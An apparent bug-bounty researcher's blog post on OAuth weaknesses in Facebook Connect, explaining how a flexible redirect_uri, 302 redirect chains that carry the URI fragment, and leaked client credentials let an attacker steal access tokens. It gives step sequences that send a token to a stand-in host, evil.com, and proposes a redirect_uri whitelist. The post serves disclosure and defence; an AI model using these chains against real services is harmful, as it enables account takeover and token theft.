Sunday, December 31, 2017
The Achilles Heel of OAuth or Why Facebook Adds
The Achilles Heel of OAuth or Why Facebook Adds
This is a short addition to the previous rants on OAuth problems.
Weve got Nir Goldshlager working on our side (he simply loves bounties and facebook does pay em). We both discovered some vulnerabilities in Facebook and we joined our forces to demonstrate how many potential problems are hidden in OAuth.
TL;DR: all oauth exploits are based on tampering with the redirect_uri parameter.
1 2 3 4
Here I demostrate 2 more threats proving that a flexible redirect_uri is the Achilles Heel of OAuth.
Open redirect is not a severe vulnerability on its own. OWASP says it can lead to "phishing". Yeah, its almost nothing, but wait:
URI Fragment & 302 Redirects.
What happens if we load http://site1.com/redirect_to_other_site#DATA and Site1.com responds with Status 302 and Location: evil.com/blabla.
What about #DATA? Its a so called URI Fragment a.k.a location.hash and its never sent on the Server-side.
The browser simply appends exactly the same value to a new redirect destination. Yeah, it will load evil.com/blabla#DATA.
I have a feeling that is not a reasonable browser feature. I have an even stronger feeling that it opens yet another critical flaw in OAuth.
Any chain of 302 redirects
on any allowed redirect_uri domain (Clients domain myapp.com, sometimes Providers domain too � facebook.com)
to any page with attackers Javascript (not necessarily open redirect)
= stolen access_token = Game Over
Steps:
- window.open(fb auth/redirect_uri=site.com/redirector&response_type=token)
- We get header:
Location: http://site.com/redirector#access_token=123 - When the browser loads http://site.com/redirector it gets following header
Location: http://evil.com/path - And now the browser navigates to
http://evil.com/path#access_token=123 - our Javascript leaks the location.hash
and this is...
Why Facebook Adds #_=_
Every time Facebook Connect redirects you to another URL it adds #_=_. It is supposed to kill a "sticky" URI fragment which the browser carries through chain of 302 redirects.
Previously we could use something like
FBAUTH?client_id=approved_app&redirect_uri=ourapp.com
in redirect_uri for other clients as a redirector to our app.
Fb auth for Other client -> Fb auth for Our client#access_token=otherClientToken -> 302 redirect to our app with #access_token of Other client.
Stolen Client Credentials Threat
Consumer keys of official Twitter clients
Is it game over? Currently - yes, both for OAuth1 and 2. Let me explain again response_type=code flow:
- redirect to /authorize url with redirect_uri param
- it redirects back to redirect_uri?code=123#_=_
- now server side obtains access_token sending client creds + used redirect_uri (to prevent leaking through referrer) + code
So if we have client creds we only need to find a document.referrer leaking redirect_uri (it can be any page with <img src="external site..."> or open redirector)
How would you obtain an access_token if redirect_uri would be static?
Oh, wait, there is no such way, because stolen credentials are not a threat if redirect_uri is whitelisted!
The funniest thing with all these rants
Most of our OAuth hacks pwn the Provider and its users (only the most-common vulnerability pwns the Clients authentication).
This makes me really curious what the hell is wrong with Facebook and why dont they care about their own Graph security and their own users. Why do they allow a flexible redirect_uri, opening an enormous attack surface (their own domain + clients app domain)?
We simply play Find-Chain-Of-302-Redirects, Find-XSS-On-Client and Leak-Credentials-Then-Find-Leaking-Redirect_uri games. Dont they understand it is clearly their business to protect themselves from non ideal clients?
A good migration technique could be based on recording the most used redirect_uri for every Client (most of rails apps use site.com/auth/facebook/callback) and then setting those redirect_uris as the whitelisted ones.
P.S. Although, as bounty hunters, me, @isciurus and Nir are OK with the current situation. There is so much $$$ floating around redirect_uri...
P.S.2 feel free to fix my language and grammar, I get many people asking to elaborate some paragraphs.